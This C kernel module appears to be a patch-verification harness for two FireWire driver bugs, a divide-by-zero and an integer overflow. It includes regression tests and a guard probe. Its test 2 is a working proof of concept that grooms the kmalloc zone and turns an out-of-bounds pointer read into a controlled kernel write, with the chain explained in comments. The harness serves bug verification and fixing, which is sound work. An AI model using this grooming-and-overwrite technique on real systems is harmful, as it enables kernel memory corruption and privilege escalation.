/*
 * DF-2297 / DF-2298 verification harness (verify mode; DF-5613 KLD pattern).
 *
 * DF-2297: fwdma_malloc_multiseg() divides by the caller-supplied element
 *          size with no validation (fwdma.c:153-161).  FW_SSTBUF copies
 *          userspace ints straight into fw_drv1.bufreq (fwdev.c:504-506);
 *          FW_STSTREAM/FW_SRSTREAM pass b->psize as `esize` after only
 *          roundup2(psize,4) (fwdev.c:107-109) -- roundup2(0,4)==0.
 *            psize = 0        -> esize=0  -> rounddown(PAGE_SIZE,0)
 *                                  = (4096/0)*0  -> #DE at fwdma.c:159
 *            psize = 0x80000000 -> esize=INT_MIN -> ssize=(4096/INT_MIN)*
 *                                  INT_MIN = 0 -> howmany(n, 0/INT_MIN=0)
 *                                  = (n-1)/0    -> #DE at fwdma.c:160
 *
 * DF-2298: n = nchunk*npacket (int multiply, fwdev.c:109) wraps to 0 for
 *          nchunk=npacket=0x10000.  fwdma_malloc_multiseg then computes
 *          nseg=howmany(0, ssize/esize)=0, kmallocs ONLY the 32-byte
 *          struct fwdma_alloc_multi header (fwdma.c:162-166) and returns
 *          it as SUCCESS with a zero-length seg[] array.  fwdev_allocbuf
 *          stores the ORIGINAL nchunk/npacket in the queue; production
 *          fw_write()/fw_read() call fwdma_v_addr() (fwdma.h:59-66) which
 *          reads am->seg[0].v_addr at am+40 -- 8..24 bytes PAST the
 *          32-byte kmalloc -- and uiomove()s attacker iso data to that
 *          stale/groomed pointer: OOB read -> controlled kernel write.
 *
 * The UNMODIFIED production files firewire.c, fwdma.c and fwdev.c are
 * compiled into this module (globals -D-renamed, DF-5613/DF-5413 pattern)
 * and driven through their real fw_ioctl/fw_close/fw_write paths with the
 * synthetic fc/cdev state an fwohci controller + devfs would create.
 *
 * Fire with:  sysctl kern.df229x_test=<n>
 * Read back:  sysctl kern.df229x_status
 *
 *   test 1: DF-2297 variant B -- psize=0x80000000 (negative esize)
 *           baseline: fatal trap 17 (divide error) at fwdma.c:160
 *           patched : clean rejection, no trap
 *   test 2: DF-2298 -- nchunk=npacket=0x10000 (product wraps to 0)
 *           groom the 32-byte kmalloc zone so the OOB-read seg[0].v_addr
 *           is a pointer WE chose, then let production fw_write() land
 *           2048 bytes of attacker iso data on it.  baseline: controlled
 *           write lands on the victim page; patched: EINVAL, no write.
 *   test 3: DF-2297 primary -- psize=0 (esize=0)
 *           baseline: fatal trap 17 at fwdma.c:159; patched: no trap.
 *   test 4: DF-2298 trivial variant -- npacket=0 (n=0 without overflow);
 *           patched only (baseline equivalence is arithmetic: n==0).
 *   test 5: regression -- legit bufspec {4,8,2048} must still work
 *           (alloc + one production fw_write + production close).
 *   test 6: fwdma.c guard probe (patched only): direct calls with
 *           esize=0 / negative / n=0 must return NULL without trapping.
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/types.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/bus.h>
#include <sys/uio.h>
#include <sys/time.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <sys/conf.h>
#include <sys/event.h>
#include <machine/atomic.h>

#include <sys/bus_private.h>		/* fake devclass/device */
#include <sys/kthread.h>

/*
 * firewire.c's MODULE_VERSION(firewire, 1) would collide with the
 * in-kernel copy's registration (DF-5613 pattern).
 */
#undef MODULE_VERSION
#define MODULE_VERSION(name, version)	struct __hack

/* production code, -D-renamed by the Makefile; guard shims in ./shim */
#include <bus/firewire/firewire.c>
#include <bus/firewire/fwdma.c>
#include <bus/firewire/fwdev.c>

#undef MODULE_VERSION

/* fwdev.c references these; real ones live in fwmem.c (not compiled in) */
int dfw_fwmem_open(struct dev_open_args *ap) { return ENXIO; }
int dfw_fwmem_close(struct dev_close_args *ap) { return ENXIO; }
int dfw_fwmem_ioctl(struct dev_ioctl_args *ap) { return ENXIO; }
int dfw_fwmem_mmap(struct dev_mmap_args *ap) { return ENXIO; }
int dfw_fwmem_strategy(struct dev_strategy_args *ap) { return 0; }

/* ------------------------------------------------------------------ */
/* synthetic host state (what fwohci_pci/fwohci attach + devfs build)  */
/* ------------------------------------------------------------------ */

#define NISO	4

static bus_dma_tag_t	dfw_dmat;
static struct firewire_comm fc;			/* the "controller" */
static struct firewire_softc fsc;		/* devclass softc */
static struct fw_xferq *itq[NISO], *irqq[NISO];
static int dfw_prepared;

static struct devclass	fake_devclass;
static device_t		fake_devclass_devices[1];
static device_t		fake_device;

static int dfw_irx_enable(struct firewire_comm *fc, int dmach) { return 0; }
static int dfw_itx_enable(struct firewire_comm *fc, int dmach) { return 0; }

static char df229x_status[512] = "not run";

#define PKT_PAYLEN	2044			/* fill a whole 2048 element */
static uint8_t  pktbuf[4 + PKT_PAYLEN];		/* one iso stream packet */
static const uint8_t sig[8] = { 'D','F','2','2','9','8','-','O' };

static void
df229x_pkt_init(void)
{
	int i;

	/* fw_pkt stream header: len:16 << 16 (production fw_write reads
	 * fp->mode.stream.len back out of the just-copied header,
	 * fwdev.c:391-392) */
	*(uint32_t *)pktbuf = ((uint32_t)PKT_PAYLEN) << 16;
	for (i = 4; i < (int)sizeof(pktbuf); i++)
		pktbuf[i] = "DF2298-OOB-WRITE!"[(i - 4) % 17];
}

static void
dfw_prepare(void)
{
	int i, error;

	if (dfw_prepared)
		return;
	dfw_prepared = 1;
	df229x_pkt_init();

	bzero(&fc, sizeof(fc));

	error = bus_dma_tag_create(
		/*parent*/ NULL,
		/*alignment*/ 1,
		/*boundary*/ 0,
		/*lowaddr*/ BUS_SPACE_MAXADDR,
		/*highaddr*/ BUS_SPACE_MAXADDR,
		/*maxsize*/ BUS_SPACE_MAXSIZE,
		/*nsegments*/ BUS_SPACE_UNRESTRICTED,
		/*maxsegsz*/ BUS_SPACE_MAXSIZE,
		/*flags*/ 0,
		&dfw_dmat);
	if (error)
		kprintf("df229x: bus_dma_tag_create error=%d\n", error);
	fc.dmat = dfw_dmat;

	/* fwohci.c:648-656 builds fc->it[]/fc->ir[] with dmach=i at attach */
	fc.nisodma = NISO;
	for (i = 0; i < NISO; i++) {
		itq[i] = kmalloc(sizeof(struct fw_xferq), DFW_M_FW,
		    M_WAITOK | M_ZERO);
		irqq[i] = kmalloc(sizeof(struct fw_xferq), DFW_M_FW,
		    M_WAITOK | M_ZERO);
		itq[i]->dmach = i;
		irqq[i]->dmach = i;
		itq[i]->maxq = FWMAXQUEUE;
		irqq[i]->maxq = FWMAXQUEUE;
		STAILQ_INIT(&itq[i]->q);
		STAILQ_INIT(&itq[i]->binds);
		STAILQ_INIT(&irqq[i]->q);
		STAILQ_INIT(&irqq[i]->binds);
		fc.it[i] = itq[i];
		fc.ir[i] = irqq[i];
	}
	/* fw_init()/fw_attach(): firewire.c:758 */
	STAILQ_INIT(&fc.binds);
	STAILQ_INIT(&fc.devices);
	fc.irx_enable = dfw_irx_enable;
	fc.itx_enable = dfw_itx_enable;

	/* make devclass_get_softc(firewire_devclass, 0) return &fsc */
	bzero(&fake_devclass, sizeof(fake_devclass));
	fake_device = kmalloc(sizeof(struct bsd_device), M_DEVBUF,
	    M_WAITOK | M_ZERO);
	fake_device->softc = &fsc;
	fake_devclass_devices[0] = fake_device;
	fake_devclass.devices = fake_devclass_devices;
	fake_devclass.maxunit = 1;
	fsc.fc = &fc;
	dfw_devclass = &fake_devclass;		/* fwdev.c:199/274/362/440 */

	kprintf("df229x: prepared, fc=%p sizeof(fwdma_alloc_multi)=%zu "
	    "sizeof(fw_bulkxfer)=%zu sizeof(fwdma_seg)=%zu\n",
	    &fc, sizeof(struct fwdma_alloc_multi),
	    sizeof(struct fw_bulkxfer), sizeof(struct fwdma_seg));
}

/* a fake cdev: devfs gives fwdev.c si_drv1 via fw_open(); we do it by hand */
static cdev_t
dfw_makefakecdev(void *drv1)
{
	cdev_t dev = kmalloc(sizeof(struct cdev), M_DEVBUF, M_WAITOK | M_ZERO);

	dev->si_drv1 = drv1;		/* si_uminor==0 -> unit 0, no FWMEM */
	return (dev);
}

static int
dfw_ioctl(cdev_t dev, u_long cmd, void *data)
{
	struct dev_ioctl_args ap;

	bzero(&ap, sizeof(ap));
	ap.a_head.a_dev = dev;
	ap.a_cmd = cmd;
	ap.a_data = data;
	ap.a_fflag = 0;

	return (fw_ioctl(&ap));			/* production */
}

static int
dfw_close(cdev_t dev)
{
	struct dev_close_args ap;

	bzero(&ap, sizeof(ap));
	ap.a_head.a_dev = dev;
	ap.a_fflag = 0;

	return (fw_close(&ap));			/* production */
}

static int
dfw_write(cdev_t dev, struct uio *uio)
{
	struct dev_write_args ap;

	bzero(&ap, sizeof(ap));
	ap.a_head.a_dev = dev;
	ap.a_uio = uio;
	ap.a_ioflag = 0;

	return (fw_write(&ap));			/* production */
}

/* one production iso stream write of pktbuf[] through a fake cdev */
static int
dfw_write_pkt(cdev_t dev)
{
	struct uio uio;
	struct iovec iov;

	iov.iov_base = pktbuf;
	iov.iov_len = sizeof(pktbuf);
	uio.uio_iov = &iov;
	uio.uio_iovcnt = 1;
	uio.uio_offset = 0;
	uio.uio_resid = sizeof(pktbuf);
	uio.uio_segflg = UIO_SYSSPACE;
	uio.uio_rw = UIO_WRITE;
	uio.uio_td = curthread;

	return (dfw_write(dev, &uio));
}

/* ------------------------------------------------------------------ */
/* DF-2297: divide-by-zero via unvalidated psize (esize)              */
/* ------------------------------------------------------------------ */

static void
df229x_df2297(unsigned int psize, const char *which)
{
	struct fw_isobufreq bufspec;
	struct fw_isochreq ich;
	cdev_t dev;
	int err;

	kprintf("df229x/%s: FW_SSTBUF{tx: nchunk=1 npacket=1 psize=0x%x} "
	    "+ FW_STSTREAM -> fwdev_allocbuf (fwdev.c:107-109) -> "
	    "fwdma_malloc_multiseg(esize=(int)roundup2(0x%x,4))\n",
	    which, psize, psize);
	kprintf("df229x/%s: firing -- baseline expectation: Fatal trap 17 "
	    "(divide error) in fwdma_malloc_multiseg\n", which);

	dev = dfw_makefakecdev(kmalloc(sizeof(struct fw_drv1), DFW_M_FW,
	    M_WAITOK | M_ZERO));
	bufspec.tx.nchunk = 1;
	bufspec.tx.npacket = 1;
	bufspec.tx.psize = psize;
	bufspec.rx = bufspec.tx;
	err = dfw_ioctl(dev, FW_SSTBUF, &bufspec);
	kprintf("df229x/%s: SSTBUF err=%d\n", which, err);

	ich.ch = 0;
	ich.tag = 0;
	err = dfw_ioctl(dev, FW_STSTREAM, &ich);
	/* on the unpatched kernel we never get here for the div-by-zero
	 * psizes: the trap fires inside fwdev_allocbuf's call to
	 * fwdma_malloc_multiseg (fwdma.c:159/160) */
	kprintf("df229x/%s: STSTREAM returned err=%d (reached here -> "
	    "NO divide-by-zero: the fix rejected the bufspec)\n", which, err);
	ksnprintf(df229x_status, sizeof(df229x_status),
	    "DF-2297 %s psize=0x%x: STSTREAM err=%d, no trap", which, psize,
	    err);

	kfree(dev->si_drv1, DFW_M_FW);
	kfree(dev, M_DEVBUF);
}

/* ------------------------------------------------------------------ */
/* DF-2298: nchunk*npacket int-overflow -> 0-length seg[] -> OOB read  */
/*          seg[0].v_addr -> controlled write via production fw_write  */
/* ------------------------------------------------------------------ */

#define GROOM_N	512

static int
df229x_groom_attempt(int attempt, uint8_t *victim)
{
	struct fw_isobufreq bufspec;
	struct fw_isochreq ich;
	struct fwdma_alloc_multi *am;
	struct fw_drv1 *d;
	struct fw_xferq *it;
	cdev_t dev;
	uint8_t *sp[GROOM_N];
	uint64_t *q;
	void *oob_v;
	int err, i, j, hit;

	/* fill the 32-byte kmalloc zone with victim-pointer chunks, then
	 * punch holes; fwdma's am kmalloc(32) (fwdma.c:162-163, nseg==0)
	 * must land in one -> am->seg[0].v_addr (am+40, past the 32-byte
	 * allocation) reads back OUR pointer */
	for (i = 0; i < GROOM_N; i++) {
		sp[i] = kmalloc(32, DFW_M_FW, M_WAITOK);
		q = (uint64_t *)sp[i];
		for (j = 0; j < 4; j++)
			q[j] = (uint64_t)(uintptr_t)victim;
	}
	for (i = 0; i < GROOM_N; i += 2) {
		kfree(sp[i], DFW_M_FW);
		sp[i] = NULL;
	}

	dev = dfw_makefakecdev(kmalloc(sizeof(struct fw_drv1), DFW_M_FW,
	    M_WAITOK | M_ZERO));
	d = dev->si_drv1;

	/* the finding's exact vector: 0x10000 * 0x10000 == 0 mod 2^32 */
	bufspec.tx.nchunk = 0x10000;
	bufspec.tx.npacket = 0x10000;
	bufspec.tx.psize = 512;
	bufspec.rx = bufspec.tx;
	err = dfw_ioctl(dev, FW_SSTBUF, &bufspec);
	ich.ch = 0;
	ich.tag = 0;
	err = dfw_ioctl(dev, FW_STSTREAM, &ich);
	if (err) {
		/* patched kernel: fwdev_allocbuf rejected the bufspec */
		kprintf("df2298/a%d: STSTREAM err=%d -- bufspec rejected, "
		    "no zero-seg allocation (it=%p buf=%p bulkxfer=%p)\n",
		    attempt, err, d->it,
		    d->it ? d->it->buf : NULL,
		    d->it ? d->it->bulkxfer : NULL);
		ksnprintf(df229x_status, sizeof(df229x_status),
		    "DF-2298 nchunk=npacket=0x10000: STSTREAM err=%d "
		    "(rejected, no write)", err);
		kfree(dev->si_drv1, DFW_M_FW);
		kfree(dev, M_DEVBUF);
		for (i = 1; i < GROOM_N; i += 2)
			kfree(sp[i], DFW_M_FW);
		return (0);
	}

	it = d->it;
	am = it->buf;
	kprintf("df2298/a%d: STSTREAM OK (err=0): it=%p am=%p nseg=%d "
	    "ssize=%lu esize=%lu bnchunk=%u bnpacket=%u bulkxfer=%p\n",
	    attempt, it, am, am->nseg, (unsigned long)am->ssize,
	    (unsigned long)am->esize, it->bnchunk, it->bnpacket, it->bulkxfer);
	if (am->nseg != 0) {
		kprintf("df2298/a%d: nseg!=0 -- overflow-to-zero did not hit "
		    "this build?!\n", attempt);
		hit = -1;
		goto out;
	}

	/* THE OOB READ: am->seg[0] begins at am+32, entirely past the
	 * 32-byte kmalloc; seg[0].v_addr is the qword at am+40 -- exactly
	 * what fwdma_v_addr() (fwdma.h:59-66) hands production fw_write */
	oob_v = am->seg[0].v_addr;
	kprintf("df2298/a%d: am (%zu-byte kmalloc, nseg=0) -> OOB "
	    "am->seg[0].v_addr = %p (read at am+40); groom target = %p\n",
	    attempt, sizeof(struct fwdma_alloc_multi), oob_v,
	    (void *)(uintptr_t)victim);

	if (oob_v != (void *)(uintptr_t)victim) {
		/* groom missed: am landed outside a hole; DO NOT write
		 * through an uncontrolled pointer -- retry */
		kprintf("df2298/a%d: groom miss (OOB value not ours) -- "
		    "closing and retrying on the next queue\n", attempt);
		hit = -2;
		goto out;
	}

	/* groom confirmed: production fw_write() will uiomove() the
	 * 4-byte stream header, then read fp->mode.stream.len back and
	 * uiomove() that many attacker bytes -- all to `victim` */
	kprintf("df2298/a%d: firing production fw_write (2048 bytes of "
	    "iso data at the OOB-derived pointer)...\n", attempt);
	err = dfw_write_pkt(dev);
	kprintf("df2298/a%d: fw_write err=%d; victim page now: "
	    "\"%.16s\" / \"%.16s\"\n", attempt, err, victim, victim + 4);

	hit = 0;
	for (j = 0; j < 2048; j++) {
		if (victim[j] != 'D')
			continue;
		if (bcmp(victim + j, sig, 8) == 0) {
			hit = 1;
			break;
		}
	}
	if (hit == 1) {
		kprintf("df2298/a%d: CONTROLLED WRITE CONFIRMED: attacker "
		    "iso payload (header + %d bytes, pattern 'DF2298-OOB-"
		    "WRITE!') landed at the groom-chosen kernel address "
		    "%p via the OOB-read seg[0].v_addr\n",
		    attempt, PKT_PAYLEN, (void *)(uintptr_t)victim);
		ksnprintf(df229x_status, sizeof(df229x_status),
		    "DF-2298 REPRODUCED: nchunk*npacket=0x10000*0x10000 "
		    "wrapped to n=0 -> fwdma_malloc_multiseg returned a "
		    "0-seg 32-byte fwdma_alloc_multi; fwdma_v_addr "
		    "(fwdma.h:65) OOB-read seg[0].v_addr at am+40 (= "
		    "groomed %p); production fw_write uiomove()'d 2048 "
		    "attacker bytes there -- OOB-read-to-arbitrary-write",
		    (void *)(uintptr_t)victim);
	} else {
		kprintf("df2298/a%d: fw_write returned %d but the payload "
		    "pattern was not found at the victim page\n", attempt,
		    err);
		ksnprintf(df229x_status, sizeof(df229x_status),
		    "DF-2298 partial: OOB pointer groomed, fw_write err=%d, "
		    "pattern not found", err);
	}

out:
	/* production teardown frees the zero-seg am + 3MB bulkxfer */
	if (d->it != NULL)
		dfw_close(dev);
	else {
		kfree(dev->si_drv1, DFW_M_FW);
		kfree(dev, M_DEVBUF);
	}
	for (i = 1; i < GROOM_N; i += 2)
		kfree(sp[i], DFW_M_FW);
	return (hit == 1 ? 1 : (hit == -2 ? -1 : 0));
}

static void
df229x_df2298(void)
{
	uint8_t *victim;
	int attempt, rc = 0;

	kprintf("df2298: int-overflow n=nchunk*npacket -> zero-length seg[] "
	    "-> OOB seg[0] read -> controlled write test\n");

	/* any kernel address would do; use a dedicated victim page */
	victim = kmalloc(2048, M_DEVBUF, M_WAITOK | M_ZERO);
	for (attempt = 1; attempt <= NISO - 1 && rc <= 0; attempt++)
		rc = df229x_groom_attempt(attempt, victim);
	if (rc <= 0)
		kprintf("df2298: giving up after %d attempts (status has the "
		    "result)\n", attempt - 1);
	kfree(victim, M_DEVBUF);
	kprintf("df229x: %s\n", df229x_status);
}

/* ------------------------------------------------------------------ */
/* test 4: trivial n=0 variant (npacket=0), patched only              */
/* ------------------------------------------------------------------ */

static void
df229x_df2298b(void)
{
	struct fw_isobufreq bufspec;
	struct fw_isochreq ich;
	cdev_t dev;
	int err;

	dev = dfw_makefakecdev(kmalloc(sizeof(struct fw_drv1), DFW_M_FW,
	    M_WAITOK | M_ZERO));
	bufspec.tx.nchunk = 1;
	bufspec.tx.npacket = 0;		/* n = 1*0 = 0, no overflow needed */
	bufspec.tx.psize = 512;
	bufspec.rx = bufspec.tx;
	dfw_ioctl(dev, FW_SSTBUF, &bufspec);
	ich.ch = 0;
	ich.tag = 0;
	err = dfw_ioctl(dev, FW_STSTREAM, &ich);
	kprintf("df2298b: SSTBUF{nchunk=1,npacket=0,psize=512} + STSTREAM "
	    "-> err=%d d->it=%p (baseline equivalence: n==0 -> nseg==0, the "
	    "same zero-length seg[] as the overflow variant)\n",
	    err, ((struct fw_drv1 *)dev->si_drv1)->it);
	ksnprintf(df229x_status, sizeof(df229x_status),
	    "DF-2298b npacket=0: STSTREAM err=%d", err);
	kfree(dev->si_drv1, DFW_M_FW);
	kfree(dev, M_DEVBUF);
}

/* ------------------------------------------------------------------ */
/* test 5: regression -- a legit bufspec must keep working            */
/* ------------------------------------------------------------------ */

static void
df229x_regression(void)
{
	struct fw_isobufreq bufspec;
	struct fw_isochreq ich;
	cdev_t dev;
	int err;

	dev = dfw_makefakecdev(kmalloc(sizeof(struct fw_drv1), DFW_M_FW,
	    M_WAITOK | M_ZERO));
	bufspec.tx.nchunk = 4;
	bufspec.tx.npacket = 8;
	bufspec.tx.psize = 2048;
	bufspec.rx = bufspec.tx;
	dfw_ioctl(dev, FW_SSTBUF, &bufspec);
	ich.ch = 0;
	ich.tag = 0;
	err = dfw_ioctl(dev, FW_STSTREAM, &ich);
	if (err == 0)
		err = dfw_write_pkt(dev);	/* one normal iso packet */
	if (err == 0) {
		kprintf("df229x/regression: legit {4,8,2048}: STSTREAM=0 "
		    "fw_write=0 -- normal use intact\n");
		ksnprintf(df229x_status, sizeof(df229x_status),
		    "regression OK: legit bufspec still works");
	} else {
		kprintf("df229x/regression: LEGIT CONFIG BROKEN: err=%d\n",
		    err);
		ksnprintf(df229x_status, sizeof(df229x_status),
		    "regression FAILED: err=%d", err);
	}
	dfw_close(dev);			/* production teardown */
}

/* ------------------------------------------------------------------ */
/* test 6: fwdma.c guard probe (patched only -- traps on baseline)     */
/* ------------------------------------------------------------------ */

static void
df229x_guard(void)
{
	struct fwdma_alloc_multi *a, *b, *c;

	a = dfw_dma_malloc_multiseg(&fc, 4, 0, 8, BUS_DMA_WAITOK);
	b = dfw_dma_malloc_multiseg(&fc, 4, -4096, 8, BUS_DMA_WAITOK);
	c = dfw_dma_malloc_multiseg(&fc, 4, 512, 0, BUS_DMA_WAITOK);
	kprintf("df229x/guard: fwdma_malloc_multiseg(esize=0)=%p "
	    "(esize=-4096)=%p (n=0)=%p -- no trap\n", a, b, c);
	ksnprintf(df229x_status, sizeof(df229x_status),
	    "guard: esize=0 -> %p, esize<0 -> %p, n=0 -> %p (no trap)",
	    a, b, c);
}

/* ------------------------------------------------------------------ */
static int df229x_testno;

static int
df229x_fire_sysctl(SYSCTL_HANDLER_ARGS)
{
	int v = df229x_testno;
	int error;

	error = SYSCTL_OUT(req, &v, sizeof(v));
	if (error || req->newptr == NULL)
		return (error);
	error = SYSCTL_IN(req, &v, sizeof(v));
	if (error)
		return (error);

	dfw_prepare();
	switch (v) {
	case 1:
		df229x_df2297(0x80000000u, "t1");
		break;
	case 2:
		df229x_df2298();
		break;
	case 3:
		df229x_df2297(0, "t3");
		break;
	case 4:
		df229x_df2298b();
		break;
	case 5:
		df229x_regression();
		break;
	case 6:
		df229x_guard();
		break;
	default:
		return (EINVAL);
	}
	return (0);
}
SYSCTL_PROC(_kern, OID_AUTO, df229x_test, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df229x_fire_sysctl, "I", "df229x test selector");

static int
df229x_status_sysctl(SYSCTL_HANDLER_ARGS)
{
	char buf[sizeof(df229x_status)];

	strlcpy(buf, df229x_status, sizeof(buf));
	return (SYSCTL_OUT(req, buf, strlen(buf)));
}
SYSCTL_PROC(_kern, OID_AUTO, df229x_status, CTLTYPE_STRING | CTLFLAG_RD,
    0, 0, df229x_status_sysctl, "A", "df229x last test result");

/* module entry: DRIVER_MODULE(dfw_firewire, fwohci, ...) in the included
 * production firewire.c (DF-5613/DF-5413 pattern; no extra DECLARE_MODULE
 * -- a second one corrupts the modmetadata linker set on this kernel). */
